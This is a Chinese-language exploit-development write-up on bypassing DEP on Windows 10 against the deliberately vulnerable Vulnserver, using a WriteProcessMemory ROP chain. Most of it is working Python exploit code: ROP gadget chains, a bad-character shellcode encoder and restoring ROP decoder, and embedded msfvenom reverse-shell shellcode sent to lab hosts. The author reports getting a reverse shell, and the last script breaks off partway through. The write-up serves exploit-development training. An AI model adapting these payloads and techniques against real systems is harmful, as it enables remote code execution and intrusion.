0%

Vulnserver TRUN Bypass DEP With ROP On Win10 II

这次,用WriteProcessMemoryBypass DEP,看一下WriteProcessMemory的函数原型:

1
2
3
4
5
6
7
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);

hProcess:要修改的进程内存的句柄。句柄必须具有对进程的 PROCESS_VM_WRITEPROCESS_VM_OPERATION 访问权限。

lpBaseAddress:指向要写入数据的指定进程中的基地址的指针。在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据都可以进行写访问,如果不可访问,则函数失败。

lpBuffer:指向缓冲区的指针,该缓冲区包含要写入指定进程地址空间的数据。

nSize:要写入指定进程的字节数。

lpNumberOfBytesWritten:指向变量的指针,该变量接收传输到指定进程的字节数。此参数是可选的。如果 lpNumberOfBytesWrittenNULL,则忽略该参数。

根据函数各参数的说明,在Bypass DEP的时候,各参数的设置情况:

hProcess:提供一个伪句柄,指定为特定的常量-1,当WriteProcessMemory API被调用的时候,它会将-1转换为实际进程句柄,也就意味着这个参数我们设置的时候可以忽略。

lpBaseAddress:这个参数我们可以设置为一个绝对地址,其指向我们将要写入模块的代码段,为了不引起程序崩溃,可以指向代码段中未使用的区域。这里有个技巧,因为代码段在编译的时候需要对齐,所以选择在代码段上限的尾部即可,因为这里填充的一定是null字符。

windbg中看一眼:

这里可以使用的是essfunc.dll

BOF

依据PE相关知识,获取代码段地址的步骤:

DOS Header + 0x3c指向PE Header

BOF

PE Header + 0x2c指向代码段:

BOF

来获取essfunc.dll的代码段地址:

BOF

获取的代码段地址为62501000,看一下对应的内存属性:

BOF

定位到代码段某一地址(这里62501c00 ,后续考虑地址不包含00字符,选择62501c10作为lpBaseAddress的值):

BOF

lpBuffer:保存shellcode所在地址,这个地址需要到执行栈溢出之后,才能确定。

nSize:shellcode的大小。几乎所以metasploit产生的shellcode大小都是小于500bytes,所以我们可以指定任意值,这里用-524(0xfffffdf4)代替,然后取反即可。换做ROP Gadget就是先把0xfffffdf4存入某个寄存器,如EAX,然后NEG EAX即可。

lpNumberOfBytesWritten:指向一个可写的DWORD空间,用于保存WriteProcessMemory复制的byte数目。比较简单的方法是将其保存到essfunc.dll的数据段里面,来看一下:

1
0:001> !dh -a essfunc

BOF

确认数据段里面的空间没有被使用:

BOF

段需要对齐,可以查看section alignment的对齐为1000

BOF

前面2000+24的值不为1000的整数倍,所以后续会补00,直到它为1000的整数倍为止。我们在取值的时候+4正好可以落在为了补齐增加的00空间里,不需要刻意到前面去查找。

BOF

接下来,就是在essfunc.dllIAT中找是否存在WriteProcessMemory,利用!dh essfunc.dll -f查看IAT地址和偏移时发现都是空,有点诡异。

BOF

windbg用命令dps essfunc L2000查看,找到一些信息:

BOF

借用之前文章《Sync Breeze 10.0.28 bypass DEP》的方法获取WriteProcessMemory的地址,这里就不过多介绍了,国际友人那个脚本会出问题,还是得手动来:

BOF

根据以上信息,WriteProcessMemory函数的部分参数是可以提前确定的:

1
2
3
4
5
6
7
func  = struct.pack("<L",0x45454545)     # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten

现在需要关注的仅为WriteProcessMemory函数地址,shellcode在栈空间的地址,以及shellcode的大小。

这里在确定shellcode栈空间的时候,主动腾出了一片栈空间,保证ROP Gadget不会超出这块空间,也就确定了shellcode的地址,因为只需要接在这块空间之后即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
rop1  = struct.pack("<L", 0x755912d6)    # PUSH ESP # POP ESI # RETN    
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777878) # 0x77777878
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

完整的利用代码如下:(系统重启无效,因为很多ROP Gadgets源于开启ASLRDLLESSFUNC.DLL中不具备完全的ROP Chain生成要素)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/
"""

import socket
import struct

HOST = '192.168.91.142'
PORT = 9999

# #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbd\x77\x28\x83\xaa\xdb\xd9\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x12\x03\x68\x12"
shellcode += b"\x83\x9f\xd4\x61\x5f\xa3\xcd\xe4\xa0\x5b\x0e"
shellcode += b"\x89\x29\xbe\x3f\x89\x4e\xcb\x10\x39\x04\x99"
shellcode += b"\x9c\xb2\x48\x09\x16\xb6\x44\x3e\x9f\x7d\xb3"
shellcode += b"\x71\x20\x2d\x87\x10\xa2\x2c\xd4\xf2\x9b\xfe"
shellcode += b"\x29\xf3\xdc\xe3\xc0\xa1\xb5\x68\x76\x55\xb1"
shellcode += b"\x25\x4b\xde\x89\xa8\xcb\x03\x59\xca\xfa\x92"
shellcode += b"\xd1\x95\xdc\x15\x35\xae\x54\x0d\x5a\x8b\x2f"
shellcode += b"\xa6\xa8\x67\xae\x6e\xe1\x88\x1d\x4f\xcd\x7a"
shellcode += b"\x5f\x88\xea\x64\x2a\xe0\x08\x18\x2d\x37\x72"
shellcode += b"\xc6\xb8\xa3\xd4\x8d\x1b\x0f\xe4\x42\xfd\xc4"
shellcode += b"\xea\x2f\x89\x82\xee\xae\x5e\xb9\x0b\x3a\x61"
shellcode += b"\x6d\x9a\x78\x46\xa9\xc6\xdb\xe7\xe8\xa2\x8a"
shellcode += b"\x18\xea\x0c\x72\xbd\x61\xa0\x67\xcc\x28\xad"
shellcode += b"\x44\xfd\xd2\x2d\xc3\x76\xa1\x1f\x4c\x2d\x2d"
shellcode += b"\x2c\x05\xeb\xaa\x53\x3c\x4b\x24\xaa\xbf\xac"
shellcode += b"\x6d\x69\xeb\xfc\x05\x58\x94\x96\xd5\x65\x41"
shellcode += b"\x38\x85\xc9\x3a\xf9\x75\xaa\xea\x91\x9f\x25"
shellcode += b"\xd4\x82\xa0\xef\x7d\x28\x5b\x78\x42\x05\x6e"
shellcode += b"\xf1\x2a\x54\x70\x10\xf7\xd1\x96\x78\x17\xb4"
shellcode += b"\x01\x15\x8e\x9d\xd9\x84\x4f\x08\xa4\x87\xc4"
shellcode += b"\xbf\x59\x49\x2d\xb5\x49\x3e\xdd\x80\x33\xe9"
shellcode += b"\xe2\x3e\x5b\x75\x70\xa5\x9b\xf0\x69\x72\xcc"
shellcode += b"\x55\x5f\x8b\x98\x4b\xc6\x25\xbe\x91\x9e\x0e"
shellcode += b"\x7a\x4e\x63\x90\x83\x03\xdf\xb6\x93\xdd\xe0"
shellcode += b"\xf2\xc7\xb1\xb6\xac\xb1\x77\x61\x1f\x6b\x2e"
shellcode += b"\xde\xc9\xfb\xb7\x2c\xca\x7d\xb8\x78\xbc\x61"
shellcode += b"\x09\xd5\xf9\x9e\xa6\xb1\x0d\xe7\xda\x21\xf1"
shellcode += b"\x32\x5f\x41\x10\x96\xaa\xea\x8d\x73\x17\x77"
shellcode += b"\x2e\xae\x54\x8e\xad\x5a\x25\x75\xad\x2f\x20"
shellcode += b"\x31\x69\xdc\x58\x2a\x1c\xe2\xcf\x4b\x35"


func = struct.pack("<L",0x45454545) # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten


eip = struct.pack("<L",0x62501022) # retn essfunc.dll

rop1 = struct.pack("<L", 0x755912d6) # PUSH ESP # POP ESI # RETN
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777878) # 0x77777878
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffdf4) # 0xfffffdf4
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN



rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x62506090) # IAT 62506090 AddAtomA KERNEL32
rop1 += struct.pack("<L", 0x75fd7518) # XCHG EAX,DWORD PTR [ECX] # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x7557771b) # POP EAX # RETN
rop1 += struct.pack("<L", 0xfffd9df0) # 0xfffd9df0
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

rop1 += struct.pack("<L", 0x749f2002) # XCHG EAX,ESP # RETN




padding = b"C" * (3000-2006-32-len(rop1)-len(shellcode))

PAYLOAD = (
b'TRUN .' +
b'A' * (2006-len(func)) +
func +
eip +
rop1 +
b"\x90"*128+
shellcode+
padding
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

执行,出现问题了:

BOF

因为msfvenom解码存根希望代码存储在可写的内存里面,但是这里并没有。msfvenom解码器在这里变得无法使用,只能利用其他办法,比如自己写不包含坏字符的shellcode;或者替换坏字符,并在代码复制到代码段之前,恢复这些坏字符,这需要增加一些恢复的ROP Gadgets

自定义shellcode:这里有个需要注意的地方,那就是遇到坏字符的处理,可以将产生坏字符的指令替换成其他指令,改变寄存器的值等,有点类似之前egghunter生成存在00字符时,改变指令的方法。这里利用外国友人的脚本,来生成shellcode

BOF

注意对坏字符的检测,这里检测到坏字符,需要自己定位到相应的指令处,手动修改。多个坏字符用空格间隔开。

BOF

将利用脚本里面的shellcode部分替换成这里生成的shellcode,再次执行,喜闻乐见的反弹shell出现了:

BOF

编码和解码shellcode:这种方法稍微复杂点,需要增加一些解码的ROP Gadget,在构建ROP Chain的时候,随着解码坏字符的ROP Gadget的增加,栈空间会随着增加,如果坏字符比较多,所需要的栈空间会更多。编码和解码部分的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def mapBadChars(sh):
BADCHARS = b"\x00"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex

def encodeShellcode(sh):
BADCHARS = b"\x00"
REPLACECHARS = b"\xff"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(struct.pack("B", BADCHARS[i]), struct.pack("B", REPLACECHARS[i]))
return encodedShell

def decodeShellcode(dllBase, badIndex, shellcode):
BADCHARS = b"\x00"
CHARSTOADD = b"\x01"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value) | 0x11111100 # DL
print(hex(value))


restoreRop += struct.pack("<L", (dllBase + 0x7637768e)) # POP ECX # RETN ** [WS2_32.DLL] **
restoreRop += struct.pack("<L", (neg_offset))
restoreRop += struct.pack("<L", (dllBase + 0x758ba9a8)) # SUB EAX,ECX # RETN ** [KERNEL32.DLL] **
restoreRop += struct.pack("<L", (0x7721aed0)) # POP EDX # RETN ** [ntdll.dll] **
restoreRop += struct.pack("<L", (value)) # values in DL
restoreRop += struct.pack("<L", (dllBase + 0x755bc4eb)) # ADD BYTE PTR [EAX],DL # RETN ** [KERNELBASE.dll] **
return restoreRop

这个算法的思路就是把每个坏字符的位置保存到一个列表里面,然后从头到尾进行遍历,到达坏字符的位置之后,进行某种运算,这里用的加法,因为0x00-0xff=0x01。我这里是从shellcode的开始位置往后遍历,有的也用开始位置之前往后遍历,主要是看能不能正确遍历每一个值,具体哪种视情况而定。还有上述value=(value)|0x11111100,这里ROP Gadget使用DL,为了保证其他为不会出现00,所以使用了0x11111111,另外不局限于DL,AL,AH,BL,BH等等都可以,关键在于能够找到符合要求的ROP Gadget

考虑到ROP Gadgets会比较长,这里有个小技巧,用于开辟一块比较大的栈空间存储ROP Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
# Patching dummy lpBuffer
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777988) # 0x77777988
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN

这里使用0x88888888+0x77777988=0000000100000210(高8位截断,所以为0x210),要多大栈空间,可以大致评估出来,比如先确定有多少坏字符,每个坏字符需要多少bytes ROP Gadgets进行处理,加上处理WriteProcessMemory三个参数的ROP Gadgets,再加上对齐shellcodeROP Gadgets和改变ESP到执行流的ROP Gadgets

BOF

可以看到已经指向了\x90区域。

后续需要注意的就是,解码之前需要让ESP正好指向shellcode开始的部分,我这里的ROP Gadgets如下:

1
2
3
4
# Align EAX with shellcode
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L",0xfffffda8) # 0n600
rop1 += struct.pack("<L", 0x772974e4) # SUB EAX,ECX # RETN ** [ntdll.dll] **

BOF

BOF

还有一个需要注意的地方,因为是自己来进行编码和解码,用msfvenom仅需生成原始shellcode即可。如本地使用如下:

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode

以上是需要注意的地方,当存在单个坏字符时,最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/usr/bin/env python3


import socket
import struct

HOST = '192.168.91.160'
PORT = 9999


def mapBadChars(sh):
BADCHARS = b"\x00"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex

def encodeShellcode(sh):
BADCHARS = b"\x00"
REPLACECHARS = b"\xff"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(struct.pack("B", BADCHARS[i]), struct.pack("B", REPLACECHARS[i]))
return encodedShell

def decodeShellcode(dllBase, badIndex, shellcode):
BADCHARS = b"\x00"
CHARSTOADD = b"\x01"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value) | 0x11111100 # DL
print(hex(value))

# current EAX point to the address of shellcode-1
restoreRop += struct.pack("<L", (dllBase + 0x7637768e)) # POP ECX # RETN ** [WS2_32.DLL] **
restoreRop += struct.pack("<L", (neg_offset))
restoreRop += struct.pack("<L", (dllBase + 0x758ba9a8)) # SUB EAX,ECX # RETN ** [KERNEL32.DLL] **
restoreRop += struct.pack("<L", (0x7721aed0)) # POP EDX # RETN ** [ntdll.dll] **
restoreRop += struct.pack("<L", (value)) # values in DL
restoreRop += struct.pack("<L", (dllBase + 0x755bc4eb)) # ADD BYTE PTR [EAX],DL # RETN ** [KERNELBASE.dll] **
return restoreRop


def main():

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shellcode += b"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
shellcode += b"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shellcode += b"\x6a\x05\x68\xc0\xa8\x5b\x89\x68\x02\x00\x11"
shellcode += b"\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74"
shellcode += b"\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75"
shellcode += b"\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d"
shellcode += b"\x64\x00\x89\xe3\x57\x57\x57\x31\xf6\x6a\x12"
shellcode += b"\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
shellcode += b"\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
shellcode += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc"
shellcode += b"\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a"
shellcode += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shellcode += b"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f"
shellcode += b"\x6a\x00\x53\xff\xd5"

pos = mapBadChars(shellcode)
print(pos)
encodedRevShell = encodeShellcode(shellcode)

func = struct.pack("<L",0x45454545) # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten


eip = struct.pack("<L",0x62501022) # retn essfunc.dll

# save ESP to ESI,EDX,EAX
rop1 = struct.pack("<L", 0x755912d6) # PUSH ESP # POP ESI # RETN
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

# Patching dummy lpBuffer
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777988) # 0x77777988
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN


rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching dummy nSize
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffdf4) # 0xfffffdf4
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# Patching WriteProcessMemory Address
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x62506090) # IAT 62506090 AddAtomA KERNEL32
rop1 += struct.pack("<L", 0x75fd7518) # XCHG EAX,DWORD PTR [ECX] # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x7557771b) # POP EAX # RETN
rop1 += struct.pack("<L", 0xfffd9df0) # 0xfffd9df0
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

# save current EAX to EBX
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x75f84c67) # MOV EAX,ESI # RETN

# Align EAX with shellcode
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L",0xfffffda8) # 0n600
rop1 += struct.pack("<L", 0x772974e4) # SUB EAX,ECX # RETN ** [ntdll.dll] **

rop1 += decodeShellcode(0, pos, shellcode)

# Align ESP with ROP Skeleton
rop1 += struct.pack("<L", 0x7730e63c) # XCHG EAX,ESI # RETN
rop1 += struct.pack("<L", 0x749f2002) # XCHG EAX,ESP # RETN




# padding = b"C" * (3000-2006-32-len(rop1)-len(shellcode))
padding = b"\x44" * 16

PAYLOAD = (
b'TRUN .' +
b'A' * (2006-len(func)) +
func +
eip +
rop1 +
b"\x90"*80+
encodedRevShell+
padding
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)


if __name__ == "__main__":
main()

喜闻乐见的反弹shell如下:

BOF

单坏字符,用于解码的ROP Gadgets一般不会很长,如果涉及很多坏字符,解码的ROP Gadgets会很长,最终可能因为栈空间不够,导致shellcode受到挤压,后续被截断,最终导致利用失败。

尝试7个坏字符时,最后因为栈空间不够导致shellcode被截断了。最终,试了3个坏字符的情况,还算正常。利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
#!/usr/bin/env python3


import socket
import struct

HOST = '192.168.91.160'
PORT = 9999


def mapBadChars(sh):
BADCHARS = b"\x00\x09\x0a"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex

